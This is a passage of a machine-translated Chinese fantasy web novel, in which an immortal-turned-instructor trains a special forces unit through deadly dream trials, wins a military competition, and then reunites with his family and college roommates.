    Xue An stood on the steps and said with a smile, "Are you tired?"


    "Not tired!" There were two voices from below.


    Xue An smiled, "Since I am not tired, I will give you some extra meals tonight!"


    (=)

 Chapter 183： Heart Demon Refining

    Cheng Hao stood on the ruins of a city, his face was full of horror.


    Suddenly, there were footsteps in the distance.


    Cheng Hao hid in the corner subconsciously.


    What came was a group of soldiers who couldn''t see their numbers. Everyone was sturdy, obviously elite.


    Cheng Hao hid in the corner holding his breath, trying not to make a sound.


    But these people just passed Chenghao''s side, suddenly a few soldiers turned their heads, and then rushed over.


    Cheng Hao was shocked.


    These people''s skills are simply too fast.


    Cheng Hao rolled on the ground and barely avoided a blow, then got up, his face solemnly used Taizu Changquan.


    But these people are obviously proficient in martial arts, Cheng Hao is still reluctant to deal with one, if it is dealing with two, it will be very difficult.


    But the other party is twenty or thirty.


    Therefore, after a few moves, Cheng Hao was kicked to the ground, and then someone stepped forward and stabbed him.


    Cheng Hao screamed and woke up.


    I saw Xue An sitting on a chair, looking at him coldly.


    "Lost?"


    Cheng Hao wiped the cold sweat on his forehead, only to realize that his comrades were all lying on the bed, their complexions asleep with pain and surprise.


    Just as Cheng Hao wanted to ask, Xue An shook his head, "Come on!"


    When the voice fell, Cheng Hao felt black before his eyes, and then sank into his dream again.


    It was still the ruins of the city and the group of soldiers.


    Cheng Hao wanted to cry without tears, but still learned the lesson from last time and hid in a relatively hidden place in advance.


    He was not found this time, but he was relieved just now.


    Several men in black appeared in the shadows, rushing towards Cheng Hao.


    "Wocao, what the **** is this?" Cheng Hao greeted him angrily.


    After a few moves, he was cut his throat again.


    But this time he didn''t wake up, but started again.


    Sun Ling is now in the Amazon rainforest.


    There were poisonous snakes and ants everywhere, and the underground mud pits exuded a strong stench.


    But Sun Ling didn''t dare to move, because he was now lurking in an extremely hidden grass.


    This is the 18th time he has died.


    The first seventeen times, he was in this place and was killed by a master who didn''t know where he was hiding.


    What''s disgusting is that the way of death is different every time.


    Sometimes he died by being stabbed into the heart with a knife, sometimes he was killed by a blow to his head.


    But the same is that the pain and fear of death are the same.


    Sun Ling slowly adjusted his breathing, trying to keep his body temperature consistent with that around him.


    For a long time, even a poisonous snake mistakenly thought that Sun Ling was a piece of dead wood, and slowly crawled past him.


    Sun Ling was searching the opponent''s deeds little by little.


    suddenly.


    Sun Ling found that in a stinky puddle not far from the front left, the floating bubbles looked a little abnormal.


    He held his breath and watched carefully.


    That''s right!


    There is definitely someone hiding inside.


    A glimmer of joy rose in Sun Ling''s heart, and the humiliation of being killed seventeen times made Sun Ling''s eyes red.


    He crawled slowly towards the puddle at the slowest speed.


    Finally, he got close here.


    suddenly.


    Sun Ling jumped up, and the knife in his hand plunged into the smelly puddle at a speed never before.


    Surprisingly, the stab was empty!


    Sun Ling was shocked and wanted to turn his head. He felt cold behind his back and then black in front of him.


    It failed again!


    Just when Cheng Hao and Sun Ling were struggling in their dreams.


    Zhou Daniu and Zou Yi formed an alliance in their dreams.


    After the resurrection again.


    Zou Yi grinned and touched the heart that was stabbed last time, "Damn, what the **** is this, why is it so real?"


    Zhou Daniu shook his head, "I don''t know!"


    "I didn''t say that you know!" Zou Yi gave Zhou Daniu angrily, then squatted on the ground thinking hard.


    "Damn, let''s infiltrate and assassinate the **** leader, but there are more masters than rabbits. Here are the two of us. Your brains are still not bright, how do you play this?"


    Zhou Daniu listened silently.


    "Okay, I know it''s useless to tell you!" Zou Yi got up and paced back and forth on the grassland.


    "This time I infiltrated it first, and you were deliberately arrested on the periphery, and then..." Zou Yi adjusted his plan again.


    Almost all of them were struggling in dreams all night.


    Wait till dawn.


    Xue An slapped her hands.


    Everyone woke up.


    Then they looked at everything in front of them with some confusion.


    Xue An said coldly at this time: "How''s it going? The task is okay?"


    Many people were shocked.


    Xue An said calmly: "I watched you all night, none of you completed the task! If this is a battlefield, your entire army would have been wiped out 800 times!"


    Xue An''s words made many people bow their heads.


    Some people are still a little unconvinced, "There is no such thing on the battlefield!"


    Xue An smiled, "Yes, the battlefield in your mind will naturally not be like this, but you are special forces, and in the future, you will be a sharp blade to deal with certain people!"


    "If you can''t even pass this simple test, then you will all be eliminated!" Xue An said coldly.


    In the following day, these people continued to start frantically training.


    Xue An looked at them.


    I was thinking about it in my heart.


    What they encountered last night was not a dream, but it was not an illusion.


    It is a secret method that Xue An once obtained.


    It is called Heart Demon Refining Technique.


    This kind of secret technique is specially used by the people of Demon Sect to train Deadpool.


    A mortal who doesn''t know anything can be trained into a cold-blooded warrior who can fight for a hundred battles with the least cost.


    This is also Xue An''s confidence in participating in the competition ten days after he dared to speak out.


    Night fell.


    Cheng Hao appeared in the ruins of the city again.


    But this time, instead of hiding in the corner, he quickly stripped off the clothes of a dead body, changed into the group of soldiers.


    Of course, the beginning is still non-stop death.


    But Cheng Hao gritted his teeth and refused to give up.


    Finally, after restarting again, he used a clever setting to blow all the soldiers into the sky.


    The same is true for Sun Ling. After he died more than a hundred times, he used the tactics of lying in the mud of the rainforest for three days to force the opponent to lose patience and expose his flaws, and he killed him with one blow.


    The combination of Zou Yi and Zhou Daniu used a countermeasure, successfully instigating a bodyguard of the target, and then successfully killed it by infiltrating it!


    This night, almost 90% of people completed the task.


    After waking up the next day, it was another cruel training.


    But at night, when they entered the dreamland again, they realized that they all appeared in a dreamland this time!


    It was another night that was constantly wiped out.


    But in such a cruel training, this Fire Phoenix army is truly reborn from the ashes!


    And the day of the military competition has finally arrived!


    (=)

 Chapter 184： I bet for 1 hour!

    The venue for this military competition was chosen in a mountainous area in the outer suburbs of Zhongdu.


    The headquarters is located in a hotel at the foot of the mountain.


    When General Lin and Xue An arrived, the commander Hu had already arrived, and beside him was a tall, blond, and blue-eyed foreign girl.


    "General Lin, if you don''t come again, I thought you won''t come to the competition this year!" Hu Commander laughed.


    General Lin said coldly: "Of course I want to come. Not only do I want to come here. After I win this competition, I am also going to let my troops go abroad to participate in the World Special Forces Competition!"


    Commander Hu grinned, "Sure enough, so ambitious, but unfortunately, what can you train in ten days?"


    General Lin was a little speechless.


    He still doesn''t know how the Fire Phoenix is ??training. When he comes, he wants to ask Xue An.


    Xue An just smiled, and then said rest assured.


    At this time, the foreign girl smiled slightly and said in plain Chinese, "Commander Hu, let alone ten days, a real special force can''t be honed in less than a year!"


    With that said, Yang Niu reached out to General Lin, "Hello, General Lin, I am Susanna, the special military advisor of country e! I am also the chief instructor of Commander Hu''s Fang Special Forces!"


    General Lin''s expression sank, and he stretched out his hand to shake this Susannah.


    He knows this Susanna.


    Known as the most authoritative expert of the Far East Special Forces, they have developed many training materials for special forces.


    Unexpectedly, this woman was invited by Commander Hu and became the chief instructor of Fangs!


    "General Lin, I have heard a lot of your deeds when I was in country e, and I admire you very much, but in this competition, you are a bit too hasty. No one will be Fang Fang''s opponent! What''s more Your unit has only been training for ten days!" Susannah smiled faintly.


    This woman is different from most women in e country. Her age did not make her fat, but instead gave her a lot of temperament.


    When I laughed, there was a bitterness of vodka.


    General Lin looked gloomy.


    At this time, Xue An sighed slightly, "Sometimes weakness and ignorance are not the reasons for failure, but arrogance is!"


    These words are exported.


    Susanna''s color changed slightly, and then she looked at Xue An with interest.


    "Who is this����."


    Xue An smiled faintly, "Hello, I am the training instructor of Fire Phoenix, a civilian!"


    This introduction made many people cover their mouths secretly.


    Susannah smiled, and then said, "I''m sorry, although I am not very good at Chinese, what you said just now was taunting me for being too arrogant?"


    Xue An nodded, "There is no mockery, just telling a fact!"


    Commander Hu''s complexion was a little difficult to look, and he said with some dissatisfaction: "General Lin, I know you have no plans to win, but you don''t have to give up on yourself! Have a civilian as a training instructor?"


    The atmosphere in the room became a little tense.


    Before General Lin could speak, Xue An shook his head and chuckled, then stretched out a finger.


    "I bet for an hour!"


    "What an hour?" Susanna asked in surprise.


    "Within an hour, my troops will end the battle and win the first place!" Xue An said calmly, but was full of strong confidence.


    This made everyone in the room look at each other, and then some of them couldn''t help laughing.


    Hu Siling smiled even more.


    "Good! Good! General Lin, I admire you, but I found such a guy as an instructor! Courage enough!"


    Susanna frowned.


    She thought that Xue An was deliberately saying something flashy to get her attention.


    She has seen many of these tricks.


    Therefore, there is some contempt and disdain in his eyes.


    Xue An ignored the eyes of these people, but looked up at the clock.


    "When will the game start?"


    "It''s already started! Just now all the troops have been dropped into this mountain!" Someone laughed.


    Xue An nodded, "Well, in one hour! The answer is obvious!"


    At the same time, the people of Fire Phoenix descended by parachute and entered the vast mountains.


    After landing, Sun Ling immediately found the tallest tree nearby, and then climbed up like an ape.


    Soon, he discovered that there were a few trees on the hillside not far away in different shapes.


    This is the secret code agreed by their Fire Phoenix in advance.


    Sun Ling climbed down the tree and began to sneak up the hillside silently.


    At this time, almost everyone in Fire Phoenix had already seen the secret sign, and they were all gathering there in unison.


    Cheng Hao is the one who made the secret signal.


    After these ten days of hell-like demons trial.


    With his strong leadership, Cheng Hao became the captain without any dispute.


    In these ten days, each of them may have died for each other several times!


    This kind of comradeship honed in blood and fire is the strongest.


    At this moment, a slight noise came from a distance.


    Cheng Hao almost subconsciously lurked into a hidden position.


    What came was a three-person team.


    These character glyphs came, kept alert to each other, and were searching for the suspicious surroundings Ke Cheng Hao''s hiding ability has been trained to the point of perfection after hundreds of deaths.


    These people never noticed his existence.


    Then the three people breathed a sigh of relief.


    "Hey, I heard that a ten-day-old troop has also joined this time. Are you planning to give us results?" One of them said with a grin.


    "Perhaps it is, and I heard that it is called Fire Phoenix? I don''t think it is better to call it fire chicken!"


    The three men began to mock and talk wantonly.


    Cheng Hao, hiding in the corner, was expressionless.


    In his opinion, the current behavior of these three people is no longer a question of tactical literacy, but is seeking death by themselves!


    Cheng Hao approached the past silently.


    suddenly.


    Cheng Hao jumped up, and in the shocked eyes of the three special soldiers, he kicked one of them to the ground, and then an elbow hit another one.


    As soon as the last one reacted, Cheng Hao blasted out a punch.


    If it weren''t for remembering that this was a martial arts competition, not a battlefield, and with some strength back, Cheng Hao''s punch would result in this person!


    End the battle in three and a half seconds!


    Cheng Hao estimated the time for himself!


    Fairly satisfied!


    Then he leaned down, took off the communication devices from the three of them, and squeezed them directly into pieces.


    Three light spots are missing on the computer screen in the command center.


    "Report General Lin, there are casualties!"


    Commander Hu, who was drinking tea in the lobby of the hotel, smiled, "Hehe, how is it? General Lin, you still trust some warlocks too credulously! How could a ten-day troop..."


    "Confirmed that the three killed were members of the Tusk Special Forces. The murderers, members of the Fire Phoenix!"


    The smile on Hu Siling''s face froze.


    (=Easy to read novels)

 Chapter 185： No casualties

    "Could it be a mistake?" someone asked in a low voice.


    "Confirmed! The news was corrected, and the number of people killed in Fang''s battle rose to eight! The murderer, member of the Fire Phoenix!"


    Another casualty news made the atmosphere more subtle.


    Hu Siling''s face turned blue and red, and after a while he laughed a few times: "The game has just begun, and some casualties are inevitable. Let''s look down. After all, only the one who laughs last is the winner!"


    It seems to be to confirm his statement.


    The light spots on the big screen suddenly began to decrease crazily.


    The sound of news resounded one after another throughout the command hall.


    "Confirmed news. Eighteen people were killed in the Tusk Special Forces. Killer: Fire Phoenix member!"


    "Confirmed the news, the Diamondback Special Forces killed 27 people, the entire army was wiped out, and they withdrew from the game. Killers: Fire Phoenix members!"


    "..."


    In the sound of these news, more than two dozen light spots were seen walking around the battlefield like a sharp blade.


    No one is their opponent.


    No one can beat it.


    Susanna''s face changed drastically, and she rushed to the podium, watching the sharply diminishing light spots on the big screen.


    He muttered in Russian: "How is it possible? Even the most elite special forces in country e can''t kill all their opponents in such a short period of time."


    Then Susanna suddenly turned her head and looked at Xue An with an indifferent expression.


    "Does the Phoenix Army carry any prohibited weapons?" Susanna''s face sank like a channel.


    Commander Hu also stood up, his face full of anger, "Yes, General Lin, did your people enter the arena with any prohibited weapons?"


    General Lin raised his eyebrows and said coldly: "If you can''t afford to lose, you can say you can''t afford to lose. Don''t slander others here!"


    "What about..."


    Xue An waved his hand at this time, and then stared at Susanna: "Since you don''t believe it, after the fallen soldiers come down, you ask them, don''t you understand it?"


    "Good!" Susanna replied, biting her lip.


    Soon, those soldiers who died in action left the field of play.


    When Susanna saw these people, she couldn''t help being stunned.


    These people all seem to have come down from the real battlefield, their faces full of sluggishness and horror.


    Commander Hu asked in a deep voice, "What''s the matter with you? Why were you strangled in the first place?"


    After a moment of silence, a soldier shivered and said: "They are not human...They are real demons! No, they are more terrifying than demons!"


    Susanna frowned, and then looked at one of the elite soldiers in the Fangs troop, who she used to value very much and often strengthened her training.


    "what happened?"


    The elite soldier of the Fangs troop trembled, and then said with a pale face: "The fire...the people of the Fire Phoenix seem to be the elite soldiers of the hundred battles coming down from the real battlefield. Our people have the ability to resist before them. Nothing! I was killed directly."


    hiss.


    Many people took a breath.


    A hundred warriors from the real battlefield?


    Only those who have served as soldiers know how terrible such a person is.


    But is it possible?


    In ten days, even if you send them to China, you can''t fight a hundred wars.


    Susanna''s face also paled.


    At this moment, all the remaining light spots on the big screen went out one by one, and then the sound of the message sounded.


    "The game is over, Tusk Special Forces, the whole army is annihilated. The rattlesnake, the whole army is annihilated. Night Shadow, the whole army is annihilated..."


    Over a dozen special forces, none of them survived, all died.


    Everyone was horrified.


    At the same time, the news sounded again.


    "Victor, Fire Phoenix Special Forces. Casualties...no casualties!"


    The audience was silent.


    "God! This... how is this possible?" Susanna murmured softly with a dull face.


    Xue An smiled slightly. Xue An had long expected this achievement.


    We must know that in the past ten days, the Fire Phoenix fought at least tens of thousands of wars among the demons.


    Each of their tactical coordination is honed in blood and fire.


    Cruel and efficient.


    In contrast, those so-called special forces trained on the teaching materials, when facing them, are like cattle and sheep to be slaughtered, without threat.


    General Lin smiled so much that his face was about to bloom, and said to the green-faced Hu Commander: "How about old Hu? Did I send someone to get your jar of the century-old old cellar, or did you bring it to me?"


    Xue An looked up at his watch, and said lightly: "Forty-five minutes in a shared time! Less than an hour!"


    His words echoed in the silent command hall.


    Those who laughed at him now all bow their heads in shame.


    Susanna stood in the same place with a dull complexion. After hearing Xue An''s words, she came back to her senses.


    Then she walked up to Xue An with a solemn expression, suddenly bent down and bowed deeply to Xue An.


    "Mr. Xue, I apologize to you for my attitude just now. You are the real strong! I lost!"


    This is the case for the army, always respecting the strong.


    Xue An was noncommittal.


    Susanna stood up at this time and looked at Xue An with pleading eyes. UU reading


    "Mr. Xue, I still have an unrelenting request. Could you let me see this fire phoenix that killed more than a dozen troops without causing any casualties?"


    The atmosphere became a little awkward.


    Hu Siling also rubbed his hands at this time, and said embarrassingly: "General Lin, I will send you the one-hundred-year-old jar in a while, and I will also give you ten bottles of 20-year-old Maotai, but can you let us know See your troops?"


    General Lin did not answer, but looked at Xue An.


    In the many eyes, Xue An smiled faintly, "Okay!"


    On the way down the mountain, Cheng Hao was calmly analyzing the battle just now.


    "Sun Ling performed well just now, but the timing of his shot is still a bit early. If it is a few seconds later and the circle is 10%, then the game time can be three minutes ahead!"


    Sun Ling nodded, "Yes, Captain!"


    "Zou Yi acted too impatiently, and even was almost spotted by the enemy. If it weren''t for the big cow, you would be done!"


    Zou Yi scratched the back of the head in embarrassment, then gently punched Zhou Daniu with a dull face.


    "Are you stupid? You rushed out with so many people, what should you do if you are killed?" Zou Yi said, half distressed and half annoyed.


    Zhou Daniu laughed a few times, but said nothing.


    Along the way, Cheng Hao made a simple summary of everyone''s problems.


    This is also a habit they cultivated in the trial of the heart demon.


    Every time, we must find problems and shortcomings in the battle, and then make improvements.


    Only this...can build an immortal army of Yum.


    When they descended to the command post.


    Everyone, including the members of the defeated special forces, was already waiting for them at the door. Be sure to read the latest chapter of "Invincible, Starting from the Claw Bookstore" for the first time for free.

 Chapter 186： Title...Major Suzaku!

    When this army full of evil spirits appeared in Susanna''s eyes, she was completely shocked.


    She has even seen this kind of momentum only in those veterans who participated in the Great Patriotic War.


    But now, where is there such a tragic war?


    Susanna looked at Xue An''s back not far ahead.


    How did he honed a newly formed special force into this in just ten days?


    The doubts in her heart made Susana more curious about Xue An.


    At this time, everyone in Fire Phoenix stood still in front of Xue An.


    These people all looked at Xue An with almost fanatical eyes, and then suddenly saluted together.


    "In this battle, a total of 372 enemies were strangled. All members of the Fire Phoenix returned without casualties! Ask the instructor for instructions!"


    The sound shook the fields, and the momentum was so strong that many people were distorted by it.


    Xue An smiled faintly, nodded slightly, "It''s barely good!"


    This sentence surprised many people.


    Is such a good result barely considered good?


    Commander Hu looked at this unit with obsessive eyes, as if a **** ghost had seen a peerless beauty, and he couldn''t wait to swallow it.


    As for the soldiers who were defeated, they all looked at the fire Phoenix people with envy and respect.


    The army only worships the strong!


    The fire phoenix used absolute strength to verify what is strong, which will naturally attract the worship of many people.


    The results of today''s game also spread at a terrifying speed, and the fire phoenix was shocked.


    Hu Si-ling even tried to invite Xue An to serve him again and again, and he patted his chest to ensure that as long as Xue An went, the general did not dare to say that there is absolutely no problem with a colonel.


    But Xue An was unmoved, shook his head and refused.


    When he helped General Lin this time, he only sighed at the man''s loyalty.


    If you are really entangled in the army too deeply, it will go against Xue An''s original intention.


    In the end Hu Si Ling had to leave disappointed.


    Before leaving, Susanna deliberately came to Xue An.


    "Mr. Xue, you are an amazing military strategist, and I hope we can meet again in this year''s special forces competition!"


    Speaking, Susanna smiled and stretched out her hand.


    Xue An smiled, "It seems that there is no such opportunity, because I will leave Fire Phoenix soon!"


    "Why?" Susanna was surprised.


    "Because this instructor is just to help a friend, now the Phoenix has been reborn from the ashes, and they can walk on their own in the future," Xue An said lightly.


    Susanna''s expression gradually became solemn, and she suddenly decided to pay a military salute to Xue An.


    "Dear Sir, you are a real soldier!"


    When the news that Xue An was leaving reached Fire Phoenix, Cheng Hao and others were all taken aback.


    "Instructor Xue is leaving? Why are you leaving?"


    "I don''t know! But I heard such rumors!"


    "Are some people deliberately squeezing out Instructor Xue when we saw our good grades?" Zou Yi said murderously.


    This sentence seemed like a spark, which directly ignited the powder barrel of the Phoenix.


    Cheng Hao and others all raised their eyebrows.


    "If someone dared to exclude Instructor Xue, then we will kill him and turn it upside down!"


    "Yes! Except instructor Xue, we don''t recognize anyone!"


    The crowd was about to go out loudly.


    As soon as he opened the door, Xue An was standing quietly at the gate.


    "Instructor!"


    Everyone stood still and shouted in unison.


    Xue An smiled, "What? Who are you going to look for?"


    Everyone was startled.


    Then Xue An said calmly: "It''s my decision to leave Fire Phoenix, without anyone intervening."


    "Why? Instructor, if we have something that makes you dissatisfied, you can punish us at will! Why do you want to leave?" Sun Ling said excitedly.


    Xue An shook his head, "You did a good job. I took back what I said at the beginning that you were rubbish! But leaving is for sure, after all, I still have my own business to do!"


    The mood of the crowd fell to the bottom.


    It is true that in these ten days, Xue An has never had a good face to them.


    But these ten days were also ten days that made them reborn.


    Many people may not be able to save in their lives, but under Xue An''s guidance, they challenged themselves again.


    Xue An said softly at this time: "Do you know why I named you Fire Phoenix?"


    Everyone listened solemnly.


    "Because you are not an ordinary special force, there are many in this world that ordinary people cannot imagine!"


    "In normal times, they are frightened by the power of the world, and may not dare to make mistakes, but if one day, these deterrents do not exist, they will do evil."


    "And you are a sharp blade placed on the necks of these beings, that is...Zhanxian!"


    Xue An''s words shocked the people of Fire Phoenix.


    Bu Chenghao and the few people who have come into contact with more secrets know that what Xue An said is true.


    "Your current abilities are pretty good, and it can even be said that in this world, there is no force stronger than you, but this is far from enough! So now, I will send you another ride."


    After saying that Xue An waved his hand, all these people had more information in their minds.


    Everyone is different from everybody.


    Xue An''s exercises were tailored according to their personal circumstances.


    For example, Cheng Hao, who is the captain of the Fire Phoenix, is just right and Xue An bestowed him a Nine Star Emperor Fight.


    Sun Ling is suitable for stealth assassination, and Xue An gave him a shadow curse.


    Zhou Daniu has a strong body and has the foundation for horizontal martial arts, so Xue An bestowed him an immortal vajra method.


    Everyone was at a loss at first, and when they discovered what they had acquired, they were all excited.


    Especially Cheng Hao and Sun Ling.


    They knew very well how precious the exercises Xue An bestowed on them.


    It can be said that if any one is released, it will cause endless killing.


    "It''s useless for me to leave these things, please practice and play!" Xue An smiled lightly.


    Cheng Hao and the others all looked solemn at this moment, stepped forward together, and then collectively bent down and bowed their heads.


    "The grace of the instructor, never dare to forget, the Fire Phoenix members will always be the disciples of the instructor, if there is any resistance, the world will not tolerate it!"


    Its sound shook the sky.


    Xue An chuckled and shook his head, "Okay! Go away!"


    After that, Xue An turned and left.


    At the same time, in a building in the distance, General Lin stood in front of the window with his hands in his hands.


    "General, this person is so prestigious in the fire and phoenix, I am afraid he will..." someone whispered behind him.


    General Lin turned his head and glanced at this person, "What will happen?"


    "I''m afraid there will be changes!"


    Lin raised the corner of his mouth, "When did you come to work with me?"


    "General, came a year ago!"


    "Very well, you don''t have to come in the future!"


    After General Lin finished speaking, regardless of the sudden change in the face of this entourage, he looked back at the Huofeng camp in the distance, his eyes flickering slightly.


    Taking control of the universe, turning the clouds and raining, and talking and laughing can make the heroes bow their heads.


    This kind of person... can be called the Warriors!


    "The order is passed down, and Mr. Xue is awarded the rank of Major General Zhuque!" The latest chapter of "Invincible, Starting from Daddy Xianzun" is free to read for the first time.

 Chapter 187： Revisit the old place

    "Dad, this thing looks like chocolate!" Xue Nian took Xue An''s Suzaku star, looked at it for a long time, and then said.


    Xue An laughed, "Really? Then why don''t you eat it?"


    Xue Xiang, who was concentrating on watching TV, turned his head and said, "Dad, who said she didn''t eat, she had already bitten several bites just now, if it wasn''t for me to stop, I would have bitten off!"


    An Yan looked at the three father and daughter who were not in good shape, and was a little bit dumbfounded.


    "How can you let Niannian take such an important thing! What should I do if it breaks?" An Yan distressedly picked up the drooling star from Xue Nian''s hand, and said with some complaints.


    Xue An chuckled, "If I like it, I will let her hold it for fun, it''s not a great thing!"


    An Yan carefully wiped the Suzaku and the star clean, "Of course it''s great, this is my husband''s medal! I don''t know how many people outside want to ask for it, but you don''t think so!"


    Speaking of An Yan proudly placed this star on Xue An''s chest and gestured.


    "It''s so handsome, my husband will be the general in the future, and I will be the general''s wife!" An Yan smiled silly.


    Xue An smirked, and suddenly took An Yan in his arms, and whispered in her ear: "After that, do you have to call me Lord General?"


    An Yan blushed and twisted awkwardly in Xue An''s arms.


    "Thinking about it and Niannian can watch, you let go!"


    Xue An waved his hand, and then smirked: "Now they can''t see it!"


    An Yan''s blush was even worse. Seeing Xue An getting closer and closer, her heartbeat started to accelerate, and she couldn''t help but tremble: "It''s daytime, you... don''t be foolish!"


    Xue An smiled and said, "Then you mean that you can be foolish at night?"


    Under Xue An''s gaze, An Yan''s face gradually turned red to the base of her ears.


    "Okay, okay, I won''t tease you!" Xue An let go, and then said seriously: "Tomorrow with thoughts and thoughts, let''s go out with our family!"


    "Yeah!" An Yan nodded in loss.


    Upon seeing this, Xue An couldn''t help laughing, and then said in An Yan''s ear: "My wife, when I untie your seal, I will definitely not spare you!"


    This can''t be spared is the key point, so we must circle it.


    An Yan buried her head deep in Xue An''s chest and nodded gently.


    the next day.


    Xue An declined the Chen family''s kindness to send a car, and led An Yan and the two little girls to explore the scenery in Zhongdu.


    This very beautiful family will arouse many curious eyes no matter where they go.


    Especially the lethality of the two little girls is simply amazing.


    Since going out to the present, there have been no fewer than ten groups of people coming over to take photos with Xiangxiang and Niannian.


    On this day, Xue An took the three of them, mother and daughter, to look at the many places of interest and historical sites.


    In the afternoon, the two little girls were also tired. Xue An simply held them one hand to the door of a university.


    Yenching University.


    Xue An and An Yan��s alma mater was also the place where they met and fell in love.


    "What are you doing here?" An Yan asked inexplicably.


    Xue An smiled slightly, "Look at our original youth memories! Isn''t this very meaningful?"


    The family walked into the university.


    In An Yan''s view, it has only been five or six years since leaving here, so there is not much feeling.


    But Xue An returned here after more than three thousand years.


    Looking at those familiar buildings, Xue An felt a little in his heart.


    "Remember this playground?" Xue An stood on the side of the road, looked at the playground behind the wire fence, and chuckled.


    "Of course I remember! This is the first time we two met!" An Yan whispered.


    that year.


    Anyan became the new school flower as soon as she enrolled.


    Many boys surrounded her all day long, annoying Anyan.


    So she often ran to this secluded playground to relax.


    Then she noticed Xue An, who also often came to the playground to read.


    Different from the deliberate approach of other boys.


    Xue An always sits there quietly and reads, never taking a second look at herself.


    After a long time, An Yan finally couldn''t help but stepped forward and said the first sentence.


    And this... is the beginning of the first time the two met.


    Thinking of this, An Yan suddenly twisted Xue An''s waist with a slight aversion.


    "Big villain, at the time I thought you were a good kid who loves to study, but you were actually watching... watching Jin Ping Mei?"


    Xue An smiled, "It''s not just Jin Ping Mei. At that time, I read all the banned books in ancient times, including the secret technique in the pillow, the couple''s book! And..."


    Xue An leaned down mysteriously and said in An Yan''s ear: "Actually, I had noticed you a long time ago, but I was embarrassed to come forward and strike up a conversation. Then I read the book and said, you are such a beautiful girl. There are many suitors, so I don��t get bored."


    "As long as I stay high and cold, then you will be curious, and eventually you will take the initiative to speak to me!"


    An Yan couldn''t laugh or cry, and gritted her teeth: "You bad guy! Big bad guy! You lied to me for so long!"


    Fortunately, Xue Xiang and Xue Nian were already asleep on Xue An��s shoulders, otherwise they would also eat a wave of dog food.


    While the two were flirting with each other, there was a voice of surprise.


    "Are you... Xue An?"


    Xue An looked up and saw a bookish man with glasses looking at him in surprise.


    "Are you... Qiao Le?" Xue An hesitated for a moment, and finally recognized the person.


    Qiao Le rushed over and laughed loudly: "I looked like you from behind. I didn''t dare to recognize it at first. Until I saw my sister-in-law, I was sure that it was you!"


    Then Qiao Le smiled and nodded at An Yan, "Hello sister-in-law!"


    At this time, Xue An felt a warm current in his heart.


    This man is his original roommate, Qiao Le!


    It was also one of his best buddies in college.


    Unexpectedly, I haven''t seen each other for many years, but I met in school.


    "Why are you here?" Xue An asked.


    "I''m not going back to school to be a teacher! Yo, I have children!" Qiao Le smiled very happily, then took out his mobile phone.


    "You haven''t heard from you for four years. The eldest and the fourth-born I and I don''t know how worried you are. Now that you are back, our brothers must get together!"


    Speaking of Qiao Le, he started calling.


    "Old Zhao and his son are also in Zhongdu?" Xue An was startled first, and then asked.


    "Yes, I just came a few days ago!" Qiao Le said.


    Xue An nodded, feeling a little happy.


    There are four people in their dormitory, and the relationship is the best.


    The eldest is Zhao Xuehui, the second is Xue An, the third is Qiao Le, and the fourth is Yang Binyi.


    At that time, the four big **** of Yanjing University!


    When the other two knew that Xue An had returned, they started yelling on the phone.


    "Let him wait, tonight we have to take a good look at where he has been in the past four years!" Bai Ping said "Invincible, starting from the fairy daddy Claw Bookstore" latest chapter for the first time for free reading.

 Chapter 188： Of course...go home!

    at dusk.


    The summer breeze can''t take away the hot summer air.


    In such weather, the most suitable thing is to sit on the roadside stall and roll up a few kebabs.


    There is a street around Yenching University where barbecues are used.


    Nowadays.


    The people at a barbecue stand are particularly eye-catching.


    Because at this table, there is not only a very beautiful woman, but also a pair of delicate and lovely girls.


    now.


    Zhao Xuehui picked up a glass of draft beer and said to Xue An: "Second, don''t say anything, you have to do this first!"


    Xue An smiled, took the cup, raised his neck, and dropped the cup.


    "Oh, it looks like the second child''s drinking volume has increased!" The boss laughed.


    Xue An also let go of his guard at this moment.


    Because these three people gave him too much warmth during the four years of university.


    I once remembered that Xue An lay in bed without eating for a day because of the lack of living expenses.


    Because of the good face, I just say I don''t want to eat it.


    The three said nothing.


    But in the evening, the boss came in with a takeaway, and said distressed: "Second, I ordered a takeaway for the third, but he has already eaten it. Please help and eat this for me. Right!"


    Zhao Xuehui put down the takeaway, turned and left.


    Xue An didn''t think so much at the time, and was preparing to eat with takeout.


    The third child, Qiao Le, also came in carrying the takeaway, "Second brother, I bought the takeaway for the eldest brother, but he went to drink, and you ate for him!" He said and left.


    Xue An was stunned.


    Then Yang Bin, the fourth oldest, was sweating and holding a KFC. "Second brother, third brother said he wants to eat KFC. I bought him and he won''t eat it. You can eat it!" After saying that, he left in a hurry. .


    That night, Xue An ate three meals in tears.


    "These four years..." Xue An poured another glass of draft beer and was about to speak.


    Zhao Xuehui waved his hand, "Stop talking, brothers don''t want anything else, as long as you come back safely!"


    Xue An was startled, then smiled, "Okay! Then we won''t be drunk today!"


    An Yan has been watching quietly from the side, and she filled the wine when she finished drinking.


    There is no more food, she goes to order.


    Being well-behaved and docile makes many onlookers envious.


    At this time, except for Xue An, the other three were already slightly drunk.


    "Second brother, let me just say, you and your sister-in-law will definitely be able to make it, no, the children are so old! You are not authentic, and the wedding does not call us!" Qiao Le said.


    Xue An smiled, "We haven''t had a wedding yet!"


    Zhao Xuehui frowned and stabbed Qiao Le. Qiao Le also felt that he had failed, and he wanted to say something apologetic.


    Xue An waved his hand and chuckled: "The reason why I didn''t have a wedding was because I wanted to give her the most unique and romantic wedding in the world. At that time, I wanted her to be the happiest bride."


    Xue An''s words made An Yan''s eyes flicker with tears.


    But the three brothers didn''t take it too seriously, thinking Xue An was drinking too much.


    "For the second child''s return, let''s have a drink together!" The boss stood up and raised his glass.


    "it is good!"


    Everyone suddenly promised to drink this cup together.


    And just when the drink was in full swing, a taxi stopped to the side of the road, and then a beautifully dressed woman came down from above.


    The woman looked around, and when she saw Yang Bin, she walked over.


    Upon seeing this woman, Yang Bin quickly stood up and smiled happily.


    "Luo Jia, you are here!"


    Luo Jia frowned slightly, nodded coldly, and then sat down.


    Yang Bin smiled at Xue An, "Second brother, this is my girlfriend Luo Jia!"


    "Luo Jia, this is my second brother!"


    Luo Jia glanced at Xue An, and then said disapprovingly: "I thought it was an important person who caused me to put on makeup for so long."


    The atmosphere became awkward.


    Yang Binyi''s face turned green and white.


    Xue An just smiled and didn''t take it seriously.


    Zhao Xuehui and Qiao Le looked at each other, and then began to stir up the atmosphere.


    "Come on! Brother, let''s have a drink!" Qiao Le said with a smile.


    Just when the atmosphere on the wine table gradually returned to normal.


    Luo Jia''s cell phone rang, and the smile on her face brightened when she saw the phone.


    "Hey, Master Wang? Why do you have time to call me? Oh, today is your birthday party! Good! I''ll be there soon!"


